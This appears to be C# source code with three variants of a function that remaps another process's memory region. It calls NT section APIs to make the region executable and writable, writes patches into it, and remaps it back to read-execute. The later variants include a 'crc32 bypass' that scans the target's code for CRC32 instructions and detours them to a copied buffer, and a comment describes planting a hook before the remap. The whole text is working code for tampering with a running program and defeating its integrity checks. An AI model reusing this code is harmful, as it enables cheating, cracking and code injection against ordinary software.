public static bool RemapMemoryRegion(IntPtr processHandle, IntPtr baseAddress, int regionSize, MemoryProtectionConstraints mapProtection) { IntPtr addr = VirtualAlloc(IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); if (addr == IntPtr.Zero) { return(false); } IntPtr copyBuf = VirtualAlloc(IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); if (!ReadProcessMemory(processHandle, baseAddress, copyBuf, regionSize, out IntPtr bytes)) { return(false); } IntPtr sectionHandle = default; long sectionMaxSize = regionSize; Ntstatus status = NtCreateSection(ref sectionHandle, AccessMask.SECTION_ALL_ACCESS, IntPtr.Zero, ref sectionMaxSize, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE, SectionProtectionConstraints.SEC_COMMIT, IntPtr.Zero); if (status != Ntstatus.STATUS_SUCCESS) { return(false); } status = NtUnmapViewOfSection(processHandle, baseAddress); if (status != Ntstatus.STATUS_SUCCESS) { return(false); } IntPtr viewBase = baseAddress; long sectionOffset = default; uint viewSize = 0; status = NtMapViewOfSection(sectionHandle, processHandle, ref viewBase, UIntPtr.Zero, regionSize, ref sectionOffset, ref viewSize, 2, 0, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); if (status != Ntstatus.STATUS_SUCCESS) { return(false); } if (!WriteProcessMemory(processHandle, viewBase, copyBuf, (int)viewSize, out bytes)) { return(false); } if (!VirtualFree(copyBuf, 0, MemFree.MEM_RELEASE)) { return(false); } return(true); }
public static bool RemapMemoryRegion2(IntPtr processHandle, IntPtr baseAddress, int regionSize, MemoryProtectionConstraints mapProtection) { IntPtr addr = VirtualAllocEx(processHandle, IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); if (addr == IntPtr.Zero) { return(false); } IntPtr copyBuf = VirtualAlloc(IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); IntPtr copyBufEx = VirtualAllocEx(processHandle, IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); byte[] copyBuf2 = new byte[regionSize]; if (!ReadProcessMemory(processHandle, baseAddress, copyBuf, regionSize, out IntPtr bytes)) { return(false); } if (!ReadProcessMemory(processHandle, baseAddress, copyBuf2, regionSize, out bytes)) { return(false); } IntPtr sectionHandle = default; long sectionMaxSize = regionSize; Ntstatus status = NtCreateSection(ref sectionHandle, AccessMask.SECTION_ALL_ACCESS, IntPtr.Zero, ref sectionMaxSize, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE, SectionProtectionConstraints.SEC_COMMIT, IntPtr.Zero); if (status != Ntstatus.STATUS_SUCCESS) { return(false); } status = NtUnmapViewOfSection(processHandle, baseAddress); if (status != Ntstatus.STATUS_SUCCESS) { return(false); } IntPtr viewBase = baseAddress; long sectionOffset = default; uint viewSize = 0; status = NtMapViewOfSection(sectionHandle, processHandle, ref viewBase, UIntPtr.Zero, regionSize, ref sectionOffset, ref viewSize, 2, 0, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); if (status != Ntstatus.STATUS_SUCCESS) { return(false); } if (!WriteProcessMemory(processHandle, viewBase, copyBuf, (int)viewSize, out bytes)) { return(false); } if (!WriteProcessMemory(processHandle, copyBufEx, copyBuf, (int)viewSize, out bytes)) { return(false); } MemoryProtectionConstraints old = MemoryProtectionConstraints.PAGE_NOACCESS; if (!VirtualProtectEx(processHandle, copyBufEx, (int)viewSize, MemoryProtectionConstraints.PAGE_EXECUTE_READ, out old)) { return(false); } if (!VirtualFree(copyBuf, 0, MemFree.MEM_RELEASE)) { return(false); } //crc32 bypass //search for F2 ?? 0F 38 F1 - F2 REX.W 0F 38 F1 /r CRC32 r64, r/m64 RM Valid N.E. Accumulate CRC32 on r/m64. byte[] AoBpattern = { 0xF2, 0x42, 0x0F, 0x38, 0xF1 }; for (long i = 0; i < regionSize; i++) { bool isMatch = true; for (long j = 0; j < AoBpattern.Length; j++) { if (!(copyBuf2[i + j] == AoBpattern[j] || j == 1)) { isMatch = false; break; } } if (isMatch) { Console.WriteLine(((long)baseAddress + i).ToString("X")); detourCRC(processHandle, (long)baseAddress + i, (long)baseAddress, (long)copyBufEx); } } return(true); }
public static IntPtr RemapMemoryRegion(IntPtr processHandle, IntPtr baseAddress, int regionSize, MemoryProtectionConstraints mapProtection) { IntPtr addr = VirtualAllocEx(processHandle, IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, mapProtection); if (addr == IntPtr.Zero) { return(IntPtr.Zero); } IntPtr copyBuf = VirtualAlloc(IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, mapProtection); IntPtr copyBufEx = VirtualAllocEx(processHandle, IntPtr.Zero, regionSize, MemoryAllocationType.MEM_COMMIT | MemoryAllocationType.MEM_RESERVE, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); byte[] copyBuf2 = new byte[regionSize]; if (!ReadProcessMemory(processHandle, baseAddress, copyBuf, regionSize, out IntPtr bytes)) { return(IntPtr.Zero); } if (!ReadProcessMemory(processHandle, baseAddress, copyBuf2, regionSize, out bytes)) { return(IntPtr.Zero); } IntPtr sectionHandle = default; long sectionMaxSize = regionSize; Ntstatus status = NtCreateSection(ref sectionHandle, AccessMask.SECTION_ALL_ACCESS, IntPtr.Zero, ref sectionMaxSize, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE, SectionProtectionConstraints.SEC_COMMIT, IntPtr.Zero); if (status != Ntstatus.STATUS_SUCCESS) { return(IntPtr.Zero); } status = NtUnmapViewOfSection(processHandle, baseAddress); if (status != Ntstatus.STATUS_SUCCESS) { return(IntPtr.Zero); } IntPtr viewBase = baseAddress; long sectionOffset = default; uint viewSize = 0; status = NtMapViewOfSection(sectionHandle, processHandle, ref viewBase, UIntPtr.Zero, regionSize, ref sectionOffset, ref viewSize, 2, 0, MemoryProtectionConstraints.PAGE_EXECUTE_READWRITE); if (status != Ntstatus.STATUS_SUCCESS) { return(IntPtr.Zero); } if (!WriteProcessMemory(processHandle, viewBase, copyBuf, (int)viewSize, out bytes)) { return(IntPtr.Zero); } if (!WriteProcessMemory(processHandle, copyBufEx, copyBuf, (int)viewSize, out bytes)) { return(IntPtr.Zero); } MemoryProtectionConstraints old = MemoryProtectionConstraints.PAGE_NOACCESS; // apply all request patches ApplyAllPatches(processHandle, baseAddress); //crc32 bypass //search for F2 ?? 0F 38 F1 - F2 REX.W 0F 38 F1 /r CRC32 r64, r/m64 RM Valid N.E. Accumulate CRC32 on r/m64. byte[] AoBpattern = { 0xF2, 0x42, 0x0F, 0x38, 0xF1 }; for (long i = 0; i < regionSize; i++) { bool isMatch = true; for (long j = 0; j < AoBpattern.Length; j++) { if (!(copyBuf2[i + j] == AoBpattern[j] || j == 1)) { isMatch = false; break; } } if (isMatch) { detourCRC(processHandle, (long)baseAddress + i, (long)baseAddress, (long)copyBufEx); } } // NOTE: uncomment if you want to snitch a hook inside the .text before it remaps back from RWX to RX //Console.WriteLine("Patching complete.."); //Console.WriteLine("[!] Press any key to remap and resume proces..."); //Console.ReadKey(); // remap status = NtUnmapViewOfSection(processHandle, baseAddress); if (status != Ntstatus.STATUS_SUCCESS) { return(IntPtr.Zero); } status = NtMapViewOfSection(sectionHandle, processHandle, ref viewBase, UIntPtr.Zero, regionSize, ref sectionOffset, ref viewSize, 2, 0, MemoryProtectionConstraints.PAGE_EXECUTE_READ); if (status != Ntstatus.STATUS_SUCCESS) { return(IntPtr.Zero); } if (!VirtualFree(copyBuf, 0, MemFree.MEM_RELEASE)) { return(IntPtr.Zero); } return(addr); }